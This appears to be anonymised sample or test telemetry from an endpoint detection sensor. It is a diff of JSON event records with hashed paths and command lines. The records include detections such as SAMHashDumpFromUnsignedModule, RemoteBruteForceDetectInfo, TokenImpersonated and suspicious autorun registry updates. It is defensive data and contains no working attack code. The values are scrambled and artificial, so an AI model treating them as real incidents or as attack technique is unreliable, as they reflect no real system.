c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1","timestamp":"1743508799999","event_simpleName":"RegGenericValueUpdate","ContextTimeStamp":"1761698586.458","ConfigStateHash":"3440491101","ContextProcessId":"2090006508607","RegType":"7","RegClassificationIndex":"430","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"ee0bc2006c367f53b607da1122e","RegClassification":"806","Entitlements":"66","name":"0e92d5a77de501c1f1c9064","aid":"52cf03e6cbd930e0081ab561b4366e03","cid":"4092825518eaf67377a6e4492ae44577"}
+{"TemplateInstanceId":"10229","aip":"81.2.69.142","RegClassificationFlags":"1","RegObjectName":"\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"2","event_platform":"Win","PatternId":"24871","EventOrigin":"1","id":"46ae86d862c2856f051da60792378c9a659e","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"RegistryOperationDetectInfo","ConfigStateHash":"6000088020","TemplateDisposition":"40","ContextProcessId":"209450604006","RegClassificationIndex":"3","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"d4ae4138ea91","CommandLine":"54d\\9134161b\\b169fe25\\d528e266.exe\"","RegClassification":"40","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe","Entitlements":"86","name":"ac9954e67836781b8f5b89ec31d8d","aid":"8b6270fbf7dd1d35cb564438ccd92475","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"700420809200030","aip":"81.2.69.192","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"RemoteBruteForceDetectInfo","UserName":"","ConfigStateHash":"6870020050","ContextProcessId":"25700434000","LogonType":"3","aip":"81.2.69.144","LogonDomain":"","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"82\\340d600\\4a6a0a4b\\4cdbc.exe","TotalCount":"4051","PatternId":"200","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe","Entitlements":"66","name":"35b635ba0a924203f13f0a9f8f7d","EventOrigin":"1","id":"2e41e2c0447e07249a69dbdc70a72aec40d4","EffectiveTransmissionClass":"3","aid":"a72936ae0acff156c05af8238b6a10eb","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"VolumeSessionUUID":"c8838ad8-1da8-43ae-8c85-3c2309eab164","ContextThreadId":"300005906805","aip":"81.2.69.192","VolumeMountPoint":"\\e2\\cf8397ea","VolumeDriveLetter":"4e","event_platform":"Win","VolumeDeviceObjectFlags":"0","VolumeFileSystemDevice":"\\ddc","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\6b634d3d\\7a5851b","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","VolumeDeviceCharacteristics":"100402","id":"5762ba1aab05fd80cadfb13f146bc3ce868c","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RemovableMediaVolumeMounted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1751260262.872","VolumeSectorSize":"940","ConfigStateHash":"8090285900","ContextProcessId":"655070024024","VolumeRealDeviceName":"\\6ba0bd\\257d4e13","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"3","IsOnRemovableDisk":"1","Entitlements":"96","name":"b47570143699a945cde3e5764a9843","aid":"6d58dee7855f7a94dc887ec52805de46","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-49065-57943-32307","ContextBaseFileName":"6866e9cdd4c02","FileCategory":"2","Size":"507310","ContextThreadId":"1006000509974","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\dc08d203\\6d4a9f57","id":"a6c319e36889013fd1a9cb1e28db73a2d47b","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RtfFileWritten","ContextTimeStamp":"1756008851.353","UserName":"352ad1966","ConfigStateHash":"30820000","ContextProcessId":"600400303060","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"8486640","Entitlements":"86","name":"e5968210c929a23b0","OperationFlags":"0","aid":"827afde25ba0eeda5d204a68ff612048","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf"}
+{"KeyObject":"70075630231265270000","ContextThreadId":"40890360000294","aip":"81.2.69.192","PublicKeys":"0","RegPostObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5","RegKeyName":"","event_platform":"Win","EventOrigin":"1","id":"4cd0f3ad236f3d16670462b9d7b5bb5c129a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"SAMHashDumpFromUnsignedModule","ContextTimeStamp":"1757470178.153","ConfigStateHash":"770065302","ContextProcessId":"9083291189505","RegRootObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771","SHA256HashData":"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe","ExtendedKeyUsages":"1","RegCreateDisposition":"2","FileSigningTime":"1653525170.000","ConfigBuild":"2c8b.4.ae3729d.e6","DesiredAccess":"106086","ImageFileName":"\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe","Entitlements":"66","name":"cece108ee2dfd89f1ac8e4648ab61ed","RegCreateOptions":"0","aid":"1085124e43b788dc1142faa8282f3160","SignInfoFlags":"107067","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
+{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4004620865900","id":"6df4383ea32ec03f3e4d828c8771350c6861","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskDeleted","ContextTimeStamp":"1753865664.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"60255","ContextProcessId":"6804094900076","RpcClientThreadId":"724002090409000","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"bd3d6bea\\9af0ff\\29eab3a3","RpcOpNum":"30","Entitlements":"66","name":"4996adce55e68cf01c05c7","aid":"4b4df0f0e24c600fcc98e7444c1af658","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"81.2.69.192","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"3887070022276","id":"43b952c0225cd04c3a42b9e4b7264eecca9d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskModified","ContextTimeStamp":"1747937437.152","UserName":"057bcb1d4","ConfigStateHash":"9080600092","InterfaceVersion":"80255","ContextProcessId":"9000002203869","RpcClientThreadId":"799160078000747","TaskXml":"4a199d96.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo>\r\n <Author>FSSB0930$</Author>\r\n <URI>\\c7bac469\\d598026\\1f6f4b17\\7e6a0826","TaskAuthor":"057bcb1d4","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\d598026\\1f6f4b17\\4e7075fa","RpcOpNum":"1","Entitlements":"26","name":"569b2099134ca0f589a09d0","TaskExecArguments":"/650a61d7","aid":"096a526846b73e64ffebbc72ded8f018","TaskExecCommand":"fa692415fa9d","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4950486027003","id":"c7674af79959a3dacc5f7ca39360a5e76431","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskRegistered","ContextTimeStamp":"1755302168.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"50255","ContextProcessId":"6804094900076","RpcClientThreadId":"900200906000878","TaskXml":"3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe</Command>\r\n <Arguments>/checkin</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task>","TaskAuthor":"033b4ae8791399a8","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\9e380d\\9eba707b","RpcOpNum":"1","Entitlements":"96","name":"2a8048a7af2ffa0cde48ccc43","TaskExecArguments":"/0630e40","aid":"4b4df0f0e24c600fcc98e7444c1af658","TaskExecCommand":"82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ScreenshotTakenEtw","RawProcessId":"98380","ContextTimeStamp":"1759662246.104","UserName":"b2a353ab","ConfigStateHash":"710307050","ContextProcessId":"1700783090940","ProcessStartKey":"6502302011800406","aip":"81.2.69.142","ScreenshotType":"1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26","ImageFileName":"\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe","Entitlements":"16","name":"a476a54b92f13dc913cf","EventOrigin":"1","RawThreadId":"9080","id":"3e6d517e7aca78f0cf93da20fe86adf5f9ab","PerformanceCounter":"d6c4254eed13d596","EffectiveTransmissionClass":"3","aid":"24840a73a08a136ac2e3a204a6371f8f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ScriptControlErrorEvent","ContextTimeStamp":"1752017032.509","ConfigStateHash":"3440491101","ContextProcessId":"109050000055","ContextThreadId":"883457700032905","Parameter64_3":"0","aip":"89.160.20.128","Parameter64_2":"8206700950","Parameter64_1":"0","ScriptControlErrorCode":"3","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"345e60fd50e3d887337d0b2b9","EventOrigin":"1","id":"7e63b76986f72b1aa2e6038707b440ac2bd2","EffectiveTransmissionClass":"0","aid":"5646c890ca4b0ac33c1cfa27264240b6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ScriptContent":"8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f","OriginalContentLength":"103","ContextThreadId":"700600800020030","ScriptingLanguageId":"4","aip":"216.160.83.56","ParentImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe","GrandparentImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","event_platform":"Win","ScriptContentName":"\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs","HostProcessType":"4","EventOrigin":"1","id":"42432e4ab526161b012bf9090bfa8e7f7c50","ParentCommandLine":"82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"ScriptControlScanTelemetry","ContextTimeStamp":"1760811911.783","ConfigStateHash":"8504003003","ContextProcessId":"2579509200600","ContentSHA256HashData":"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284","GrandparentCommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe","Entitlements":"76","name":"da8c933b9d11428ed052d2d5eb4c","aid":"ec58958430d6e12f5dfa327cad790e06","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SensitiveWmiQuery","UserName":"207ef664\\d621c1","ConfigStateHash":"2069001378","ContextProcessId":"2600380079010","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","WmiQuery":"8d8f8ea22b6bfbe801ecaaba1425c6a9d7","ClientComputerName":"9b0f0662","Entitlements":"96","name":"887f1bbf3206d18c959","EventOrigin":"1","id":"272b6e237d25b3c937239259405719619f9c","EffectiveTransmissionClass":"3","aid":"cfe278fcd1e293c7afdf3f1753b2d89e","WmiNamespaceName":"4813\\155e1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"b3f8252aa9cc6427351d20c3f33d3ae79e2e","RpcClientProcessId":"5080050038080","id":"8b25e606b146b0ecb0d734dc9eedcd5ef49f","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ServiceStarted","ContextTimeStamp":"1752557975.986","UserName":"9ce650c90","ConfigStateHash":"240271348","InterfaceVersion":"510063","RpcClientThreadId":"208220707353715","AuthenticationId":"830","ServiceDisplayName":"b0f9460","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460","TargetProcessId":"4007891768902","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe","RpcOpNum":"94","Entitlements":"76","name":"e9599fcf8f9c5676","aid":"8fb3daf730de8e73c353f0c4137a51b5","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-39243-24597-72335","ContextBaseFileName":"511ab7","FileCategory":"1","Size":"8200405","ContextThreadId":"90605908807000","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"1c2cb8d06c607d68fcb2877b0e000a683739","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SevenZipFileWritten","ContextTimeStamp":"1761079709.477","ConfigStateHash":"9080101000","ContextProcessId":"107208055010","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"56","name":"d4fd2d5cb305a8abdd140a","OperationFlags":"0","aid":"61cace3ec102dbde6e5eb08963b52e9c","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp"}
+{"event_simpleName":"SmbClientShareClosedEtw","ConfigStateHash":"9968901000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"6cfc77d1a6","Entitlements":"26","name":"0e883005214e1c97be512a900","EventOrigin":"45","id":"56cb5eb3321a430b24ba0bebef0335c0abf6","SmbShareName":"967ec0f7","EffectiveTransmissionClass":"3","aid":"f7e49d5e0a65ac9907089989782717df","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SmbClientShareOpenedEtw","ConfigStateHash":"804061009","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"e747bc","Entitlements":"36","name":"d226521607b20089974fab726","EventOrigin":"45","id":"be306cd8d3b6946b7798e88271cbf77dee2b","SmbShareName":"a4d268","EffectiveTransmissionClass":"3","aid":"e7e98921e91425b34501d7e91f6906b7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"07d8f4d","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"50820000","DomainName":"c53","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"86","name":"e1b2ed2cbfccda3de1aa6adee","EventOrigin":"45","id":"73dd5ae007d4fa5b059b77f3a112dd87b35f","SmbShareName":"d1","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SmbServerV1AuditEtw","ConfigStateHash":"4100830266","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","SmbClientName":"43194ec065b","event_platform":"Win","Entitlements":"76","name":"ba4a423304abd0ff28e43","EventOrigin":"45","id":"295a131e9dc1f5ef17daa6595049d55e40cf","EffectiveTransmissionClass":"3","aid":"c3ecc304b2ebc8216508373e45b2b7c6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"VolumeSessionUUID":"a3959a6c-5919-4ac3-a15a-2a320ad21a4e","ContextThreadId":"270025735200022","aip":"89.160.20.112","event_platform":"Win","VolumeDeviceObjectFlags":"420270500","VolumeFileSystemDevice":"\\e195","VolumeSnapshotName":"\\6ba0bd\\447b992c","VolumeIsEncrypted":"1","VolumeFileSystemDriver":"\\6b634d3d\\e195","VolumeDeviceCharacteristics":"0","id":"42736e4684d2a23274632e48769919984ae5","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SnapshotVolumeMounted","VolumeName":"\\6ba0bd\\c1eb8062","VolumeSnapshotTimeStamp":"1748508106.387","ContextTimeStamp":"1754395342.498","VolumeSectorSize":"940","ContextProcessId":"5209000050507","VolumeRealDeviceName":"\\6ba0bd\\c1eb8062","VolumeLabel":"d598026","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"36","name":"2ab84c7f9e501a2854c7e357","aid":"7bf30749173dbd091654e80c365263d2","cid":"4092825518eaf67377a6e4492ae44577"}
+{"Status":"0","event_simpleName":"SuspiciousCreateSymbolicLink","ContextTimeStamp":"1761034473.549","SymbolicLinkName":"\\ae81c232\\6b8a","ConfigStateHash":"8200073020","ContextProcessId":"230000690074863000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"","SymbolicLinkTarget":"\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4","DesiredAccess":"180051","PatternId":"7000","ImageFileName":"\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe","Entitlements":"46","name":"6a8d935023cdc21ff9cca3537d2780","EventOrigin":"1","id":"c5355e5f32b043d778a5628a9817ed603fe9","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1748097171.316","ConfigStateHash":"4080600092","ContextProcessId":"5004051100005","DomainName":"da624cbc09cb196e3c026","ContextThreadId":"306930070760507","aip":"216.160.83.56","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","DualRequest":"1","Entitlements":"76","name":"cecd6d00633889a0e5140e","EventOrigin":"1","id":"8d4c70642deafa7c185dae1766913cc2b684","EffectiveTransmissionClass":"3","aid":"e0391be8776b91e27451ffc78839341a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"}
+{"ContextThreadId":"908900717009000","aip":"81.2.69.142","RegObjectName":"\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"1","RegKeyName":"","event_platform":"Win","TargetCommandLineParameters":"8 829462947afcd60b102 5385ab5330ba103afe7","PatternId":"730","RegConfigValueType":"0","RegConfigFlags":"0","EventOrigin":"1","id":"6a3e0c317c79a163daff6f7ff43b0f8b638f","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7","RegConfigClass":"40","timestamp":"1743508799999","event_simpleName":"SuspiciousRegAsepUpdate","ContextTimeStamp":"1750976386.666","ConfigStateHash":"9968901000","ContextProcessId":"6460070801000","RegType":"1","RegConfigIndex":"1","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17","CommandLine":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe","TargetSHA256HashData":"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462","ImageFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe","Entitlements":"16","name":"d6768a557290bddc8f464a531","aid":"f7e49d5e0a65ac9907089989782717df","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe"}
+{"ImpersonatedUserName":"9bf10282","event_simpleName":"TokenImpersonated","OriginalParentAuthenticationId":"891487","ConfigStateHash":"3440491101","ContextProcessId":"2000535704803","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ParentAuthenticationId":"221030","PatternId":"830","OriginalUserName":"3d0d64ac1d9faf","Entitlements":"56","name":"4b8f55f326fbe33b3cf","EventOrigin":"1","id":"d1330c5a8472345299901dcafcb6e741c04f","EffectiveTransmissionClass":"3","aid":"8ac4bf42d697d6476a2087a305f0a8a7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","OriginalUserSid":"S-33232-15769-33973-56426-34173-11558-64704-78944"}
+{"SignatureErrorState":"36","ModuleCharacteristics":"7600","ContextThreadId":"0","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","SignatureState":"0","MappedFromUserMode":"1","EventOrigin":"1","id":"fbdd0412d2d062a8e7f05ca768974728fd13","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"UnsignedModuleLoad","ContextTimeStamp":"1757609447.289","ConfigStateHash":"1003503072","ContextProcessId":"9000960041280","SHA256HashData":"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1","ExtendedKeyUsages":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"4000960041280","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll","Entitlements":"26","name":"7218b6fd46f62d142cab","aid":"748b16033ae2f04b415a38442969be05","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserAccountAddedToGroup","ContextTimeStamp":"1758546284.942","ConfigStateHash":"710307050","InterfaceVersion":"30255","GroupRid":"53034222","aip":"81.2.69.192","RpcClientThreadId":"274278017040400","ConfigBuild":"2c8b.4.ae3729d.e6","UserRid":"04f8c66f","event_platform":"Win","DomainSid":"S-76712-65017-53475-35458-99339-49376","RpcOpNum":"30","Entitlements":"46","name":"6f757290de34b1b1afde18238","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"4040097800001","id":"4c0cf1755eaa94d6f52251e3d52f5ff6902f","EffectiveTransmissionClass":"3","aid":"822724472847066e07121bc67f0675c0","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserAccountCreated","ContextTimeStamp":"1761033186.899","UserName":"dcf80328","ConfigStateHash":"2015000411","InterfaceVersion":"50255","aip":"89.160.20.112","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"90dd1c44","event_platform":"Win","RpcOpNum":"70","Entitlements":"86","name":"92d863b43efb433535db","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","id":"bd490a761a3f397c1a778b589441993b3091","EffectiveTransmissionClass":"3","aid":"ea33b281ab769f0d09855298c2b43f40","RpcNestingLevel":"1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
